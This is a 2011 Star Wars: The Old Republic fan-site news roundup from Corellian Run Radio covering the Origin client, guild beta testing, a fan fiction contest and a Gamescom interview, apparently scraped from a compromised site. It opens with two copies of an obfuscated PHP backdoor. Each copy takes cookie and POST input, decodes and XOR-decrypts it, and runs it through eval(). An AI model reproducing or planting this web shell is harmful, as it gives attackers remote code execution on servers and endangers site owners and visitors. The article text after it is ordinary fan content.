$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> HoloNet Links – Corellian Run Radio
Aug 252011
 

HoloNet Links #8

Hope everyone has caught their breath after Gamescom, because PAX Prime is set to start this Friday! As many of you might be traveling there, the Bioware team is busy setting things up. What new info and reveals are in store? We will have to stay tuned, but for now let’s get into this week’s HoloNet Links!

picture from Stephen Reid via Twitter

 

More community news, Dev notes, and much more after the Jump…


Dev News

  • Hot Dev Tid Bits

StephenReid General Discussion -> EA has crossed the line

Regardless of what other games may choose to do in their integration with Origin’s desktop client, here’s what our situation is:

You are not required to use the Origin desktop client to download, patch or play the game client for Star Wars: The Old Republic.

This applies whether you purchase The Old Republic via Origin.com or from a retailer in boxed form. You will not be forced to install the Origin desktop client.

There are still various consumer benefits to the client itself, but it’s not required for The Old Republic.

 

The Origin desktop client seems to be a very hot topic. From everything that I understand, it does nothing more than check to make sure whether illegal software is being used, and yes, it is most likely taking some demographic information. Do I like that? No not exactly, but the ship has long sailed about marketing groups connected to the internet not collecting data to use for advertising etc. This type of data collecting started with surveys and then went electronically with credit cards. Bioware is clearly stating you do not have to use Origin desktop client to play the game. So, until the secret gaming police come to take me away, I will sleep soundly playing this game…well once the game is released, but that is a whole other topic.

 

DavidBass Guild Hall -> Guild Testing Program Details

As stated in the first post in this thread, spamming posts, recruitment messages, requests for entry, etc. are all things you should NOT do if you want to be considered for testing. Any guild found to be spamming this thread (or any, for that matter) will be removed from consideration.

 

Seriously, did we the community need to be told this? Come on people. If you or your guild gets selected for beta testing that’s great, and if you don’t or those who have not gotten an invite please relax. It is not going to help your case by nagging the people trying to get the very game, you want to play so badly, tested and completed. In fact, see above, it could take you and your guild out of the whole testing process. Okay, enough from my soapbox.

 

Star Wars Community

  • Fan Fiction Semi Finals voting starting soon!

The first round of voting has been completed in the Fan Fiction contest on the official SWTOR forums. The winning submissions for each class have been declared by you the fans voting. The next round of voting begins August 28th through September 4th. The next round of voting will be held on the TORWars fansite. The next round will determine the grand prize winner that will have their submission recorded in an audio book style format. All the best to each of the eight winners, representing all of the player classes in the game, as the next round of voting starts August 28th. Below are the winning submissions for each class.

Imperial Agent: http://www.swtor.com/community/showthread.php?t=444550

Sith Warrior: http://www.swtor.com/community/showthread.php?t=444555

Sith Inquisitor: http://www.swtor.com/community/showthread.php?t=444554

Bounty Hunter: http://www.swtor.com/community/showthread.php?t=444546

Trooper: http://www.swtor.com/community/showthread.php?t=444545

Smuggler: http://www.swtor.com/community/showthread.php?t=444544

Jedi Knight: http://www.swtor.com/community/showthread.php?t=444539

Jedi Consular: http://www.swtor.com/community/showthread.php?t=444525

 

  • Gamescom interview

The-Force.eu Interview with Gabe Amatangelo – Lead Designer for PVP and Endgame content

Here are a few details I was able to gather from the video.

  • Daily Quests PVE – confirmed on Ilum battle for control of resources – primarily crystals
  • More on Ilum to do with PVP: World PVP?!…stay tuned
  • Social centers like spaceports – Players will use these to group up and then go to most Flashpoints and Operations. Gabe hinted at, more to be revealed soon, about things to keep people involved in community and not just on their spaceship all the time.
  • Search functions and players can flag themselves as looking for a group, but not across servers and no auto queue. Players will have to actually talk to other players to discuss roles and when to go etc. Oh the horror of actually communicating…I hope the sarcasm was noted there 😉
  • Crew Skills used in Flashpoints and Operations
  • 8 vs 16 size Operation groups = more loot not better loot…hard vs easy more to do with type of loot
  • Heroic quests – still work in progress some solo some multiple players. Some are phased/instanced some are open world, some world arcs. The ones with multiple chains you can invite others to help even if they have not done a previous part of the chain. The style of Heroic quests will vary.
  • Some Operations = more than one…The next Operations revealed might be harder and some might be parallel. A hard setting in one might also be equal to the easy or normal setting in another.  Level of gear in loot will be determined if better with newer Operations or parallel.
  • Crafting can break down some rare loot items and possibly get recipe for that item
  • Crafting will scale with new content added; meaning newer loot drops equal possible new recipes of that level.
  • Crafting vs Operation gear – Looks to be crafted items will give certain slots and Operations gear will give other slots. It is still being tested for final numbers. Gabe stated that they want to make sure crafted items and also Operation gear are both viable.
  • Gabe teased to stay tuned about whether the new recipes from new content can be learned through Crew Skills or needing to go on Operations.
  • 5 bosses in Eternity Vault or 5 “encounters” …the puzzle, if completed will yield boss loot.

What is the one thing you are most proud of under your responsibility in the game?

PVP…I’m a big fan of PVP and how we made it more accessible to people. Accessibility across the board, having the accessibility while still keeping the depth has been a focus of me and my teams.

There are lots of great details and information in this interview. I urge you to check out this interview by The-Force.eu .

 

  • Corellian Run Radio’s Weekly Nav Coordinates

8/19 Friday Update: Huttball Warzone! by Mark

8/20 Crafting Blanks are filled in??!!… by Jason Taylor

8/22 Guild Checkpoint featuring Infernal Empire by Jason Taylor

8/22 PAX Prime: Community Cantina by Kathy

8/24 Following SWTOR: The Long Journey, Part 1 by Poison Taco

8/24 CRR Goes to PAX by Kathy

 

  • Facebook image of the Week

Jedi Consular Advance Class: Shadow

From all the non-moving Imperials, do not call his outfit a dress, their robes 🙂

 

That’s all this week from the HoloNet Links at Corellian Run Radio. If you have any interesting, funny, thought provoking, or something that you find about Star Wars Old Republic link, please let me know via email at jason@corellianrun.com, join the CRR forums, or in the Facebook group. Carla, Kathy and Roxanne are all headed there and will be sending us all kinds of information, interviews, pictures etc. from 2011 PAX Prime…stay tuned here at Corellian Run Radio!

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